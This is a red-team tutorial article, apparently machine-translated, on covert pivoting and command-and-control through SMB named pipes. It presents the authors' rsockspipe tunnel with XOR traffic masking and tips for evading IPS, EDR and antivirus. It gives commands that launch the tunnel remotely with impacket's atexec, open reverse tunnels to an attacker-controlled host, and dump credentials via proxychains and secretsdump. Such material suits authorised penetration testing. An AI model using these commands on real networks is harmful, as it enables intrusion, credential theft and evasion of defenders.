Using Pipes for Pivoting

It's no secret that corporate IPS is becoming smarter and smarter. Now you will not surprise anyone with IPS with SSL-mitm on the perimeter of the network or even inside the corporate network between segments. At the same time, in addition to the well-known IPS, various EDR-solutions began to appear and spread, which are already directly on the hosts watching the established connections. In this regard, a decent RedTeam specialist is getting harder and harder to hide from the ubiquitous BlueTeam look every day. We have to become more inventive in my hard work.

One of the solutions for disguising our “more useful destructive actions” (c) inside corporate networks may be to use the SMB or RDP protocols. You can hide inside them and disguise themselves as legitimate traffic. This is not particularly new and the masking technique inside SMB has been used since the time of the famous APT companies Duqu and Sauron. There, the guys also used the SMB protocol to transfer control commands to their agents with great success. After this, the technique was adopted by the developers of Metasploit and Cobalt Strike.

In this article, we will consider options for using the SMB protocol for pivoting, but we will leave RDP for later.

We use SMB

So, let's see what is so great about using SMB for pivoting.

Firstly, it is widespread. SMB is almost the native microsoft protocol, and in corporate networks with windows it is used everywhere and a lot where. Here you and DFS, and various updates, and printers and a lot, a lot of everything. Very comfortably.

True, outside the corporate network, and even more so from the outside, inside the 445th TCP port, they now often began to close on firewalls. The reason for this is the frequent cases of phishing and relaying using links like file: // xxxx, \\ xxxx \, etc. And of course, let's not forget about WannaCry, which forced many organizations to close the port sticking out.

Secondly, in modern systems, such as Win10 / Win2016 and higher, the information transmitted inside the SMB protocol, more precisely, SMB3 is already encrypted by default. Those. transferring your favorite split inside SMB, you can safely be sure that corporate IPS will not notice it (thanks Micosoft for this!).

Thirdly, the SMB protocol provides a convenient mechanism for the so-called pipe (SMB pipes) - these are actually the same named pipes, only available on the network. For example, a line like \\ 192.168.1.10 \ pipe \ atsvc is a scheduled tasks service pipe. Atexec from the impacket framework just works with it to create tasks for executing commands in windows.

You can see all open pipes on your system using the utility from Sysinternals: pipelist.exe (pipelist64.exe) or through the same powershell:

[System.IO.Directory]::GetFiles("\\.\\pipe\\")

Immersion

So, let's see how we can use SMB pipes for our “more useful destructive actions”.

We want to use pipes for covert communication with our team shell.
The bottom line is that we run our agent or shell on the target machine, and we communicate with it through the SMB protocol.

For example, in the metasplit there are special paylodes for working with pipes:
meterpreter_bind_named_pipe
bind_named_pipe

With the help of them, you can easily "hang" your listener (whether it is meterpreter or an ordinary command shell) on a named pipe, thereby hiding it from the watchful eyes of the security admin. But, of course, we all well know that it is completely unsafe to use msf peylods during the combat pentest / redtime and real labor hackers use custom tools, as they say - away from sin ...

An alternative to msf can be our old one as a command shell good helper - powershell. There are many examples on the network about using pipes as a channel for communication with C2.

One of them is the Invoke-PipeShell utility from the Threatexpress team. It works in server-client mode and encrypts all its traffic with a 256-bit AES key.

On the server we run:

Invoke-PipeShell -mode server -aeskey aaaabbbbccccdddd -pipe eventlog_svc -commandtimeout 30

On the client, run:

Invoke-PipeShell -mode client -server targetserver.domain.com -aeskey aaaabbbbccccdddd -pipe eventlog_svc -i -timeout 1000

Naturally, our client must be authorized on the server, so do not forget to authorize first:

net use \\targetserver.domain.com\IPC$ /user:admin Password1

After a successful connection, we get a full Powershell console. Full details of the work with the tool, as well as the code itself can be found on the round .

Good. This seems to be understandable. Now let's think about how we can pivot inside the target network via SMB pipes. For example, if only the 445th port is open on the network perimeter (and it happens ...) or the connections to the outside of our tunnel via SSL are mercilessly blocked by a corporate firewall, but for some reason they forgot to close the SMB protocol. In this case, we need to forward a full-fledged TCP tunnel inside the pipe so that we can work with the internal resources of the target network. The first thing that comes to mind is the same meterpreter with staging via pipes. He knows how to do it perfectly. We will not consider the details here, because everything is standard here and according to the manual. Those interested can read the instructions for metasploit, or see the short version here .

We already mentioned the disadvantages of meterpreter above. Therefore, let's see what else we have for piping through pipes ...

After a quick google on the topic of tunneling through pipes, in addition to meterpreter, there were only Cobalt Strike and development from DxFlatLine .

The first option, firstly, is paid, and secondly - it has all the same disadvantages as meterpreter.

The second option is made as PoC, it works only in single-threaded mode and allows you to tunnel only one connection - that is, as you can guess, it is also not an option for constant use in practice.

And what to do?

After thinking a bit about the problem, we decided ... Why do not we adapt our previous Rsockstun development, which we already wrote about , to work with pipes? Moreover, the application architecture allows you to do this with ease. Instead of connecting via TCP, we will use a connection via SMB. It even simplifies the work of the utility: no need to worry about SSL, connection through a proxy server, etc. We’ll leave only the option with the initial client authorization on the server with a password, because pipes are a public entity, and, accordingly, not only our tunnel, but also other software, including remotely, can read and write to them.

Access rights to pipes, as well as scanning and enumeration of pipes on a remote machine, are a separate topic for discussion. Those who wish can study it using the example of metasploit of the scanner / smb / pipe_auditor and scanner / smb / pipe_rpc_auditor modules.

To work with pipes from Go, we will use the npipe library .

It has been made for a long time and has proven itself in various projects. Work through this library is not fundamentally different from working through standard Net mechanisms: the same functions are net.Dial, net.Listen, net.Accept.

To multiplex several connections inside one pipe, as last time, we will use the Yamux multiplexer and socks5 - a proxy server. You can read more about the need for multiplexing inside TCP and yamux itself in our last article about rsockstun.

Another difference and refinement of the version with pipes, in comparison with rsockstun, is that now yamux-server and, accordingly, socks5-proxy can be launched at both ends of the tunnel (though not simultaneously, but either there or there). This is done so that the tunnel can be built both externally into the target network, and vice versa ...

And now, as usual - the nuances

Figure 1 - Traffic tunnel dump on Windows 7



Figure 1 shows what our tunnel will look like if at least one of its ends runs on Windows 7. Here, the red zone is the authorization stage, green is the pipe open, and blue - direct transmission of information. It is also necessary to pay attention to the fact that the SMBv2 protocol is used. In fact, this means that everything that we transmit inside the tunnel will be visible in clear text:



Unlike Win7, on Windows10, data encryption is used inside the SMB3 protocol:



As we can see, neither the pipe name nor the data inside the tunnel is transmitted in clear text.

You can check if encryption is working on your SMB3 system using the standard powershell cmdlet Get-SmbServerConfiguration



And with encryption turned off, it’s just as easy to activate it:



However, we can’t always be sure that encryption inside SMB will be turned on by default, and turning it on on a foreign server or network is not a good idea ...

In this regard, we need to provide in our tunnel, a mode that would allow traffic to be encrypted inside our tunnel. Moreover, we do not have the task of reliably encrypting so that they could only decrypt on the NSA supercomputer, but just hide the traffic signatures inside the tunnel from IPS. In this regard, we will use a simple XOR with a small key to mask our traffic, which will allow us to save processor resources and will practically not affect the transmission speed.

In order not to create an extra network layer responsible for encrypting traffic, we will add the functionality directly to the yamux module responsible for transferring the payload (stream.go module, and Read and Write functions):

func xoring(istr *[]byte, key string){
	for i := 0; i < len(*istr); i++ {(*istr)[i] = (*istr)[i] ^ key[i % len(key)]}
}

After making the changes, our GET request is not so clearly visible in the traffic:

One, two, three ... Start!

In total, the launch options and, accordingly, the application of our tunnel will be as follows:

Option 1. Connect from the outside to the inside of the network and forward the Socks5 connection. For example, when the 445th port sticks out and we know the creeds for the connection:

On the internal server via SMB, the connection and the impacket utility start the server part of rsockpipe:

./atexec.py administrator:adminPassw0rd@ "rsockspipe.exe -listen .\rsockspipename -pass Password1234"

On the external (controlled by us) Windows-machine, run the client part of rsockspipe and after establishing the connection, use it as a socks5 proxy:

rsockspipe.exe -connect x.x.x.x\rsockspipename -socks y.y.y.y:1080 -pass Pass-word1234
proxychains secretsdump.py admin:Passw0rd@y.y.1.10

Option 2. Connection from the inside out by the SMB protocol. When connections to outside via all web protocols are tightly monitored, and for some reason admins forgot about SMB ...

On the external (controlled by us) Windows machine (ip: YYYY) we start the rsockspipe client part and wait for the clients to connect:

rsockspipe.exe -listen .\rsockspipename -socks y.y.y.y:1080 -pass Password1234

On the server inside the target network, run the client part (also via impacket):

./atexec.py administrator:adminPassw0rd@ "rsockspipe.exe -connect Y.Y.Y.Y\rsockspipename -pass Password1234"

After a successful connection, we can use our server as soscks5:

proxychains secretsdump.py admin:Passw0rd@y.y.1.10

There is one point here, especially to the second option. Remember, we said that for a successful connection to the pipe we must be authorized on the server side, i.e. Before starting the tunnel, we need to go through authorization. You can do it this way:

net use \\y.y.y.y\ipc$ /user:

So ... In the second use case, the net use command is run on the target machine. And this means that on the target machine (in the memory of the lsass process) there remain credits from your Windows machine. And if they are admin (as a rule, all novice hackers work from the admin ...), then this can lead to a “back greetings” from BlueTeam ... In general, you think when you do something ...

Instead of a conclusion

In general, the tunnel turned out to be quite good ... The main thing is that it is ready for active use.
The source code, as well as already compiled binaries for x86 and x64, are located on our git

And A small addition. Recently, they began to notice that Golang software compiled in the Win GUI mode (compilation in the mode: go build -ldflags = "- H windowsgui") has become very fired by some anti-virus solutions (KAV, SEP14). It already comes to the ridiculous - “Hello World” compiled in the GUI mode is detected as a malware. Apparently, this is due to the fact that Golang nevertheless has become a favorite tool of the malware. So our advice is to compile the project in standard console mode, and with a black cmf-window a real hacker knows how to handle it (for example, the same impacket, for example).

PS “More useful destructive actions” is the wording of D. Samartsev, Director of BiZone. In this case, it most accurately describes the essence of the work of RedTeam specialists.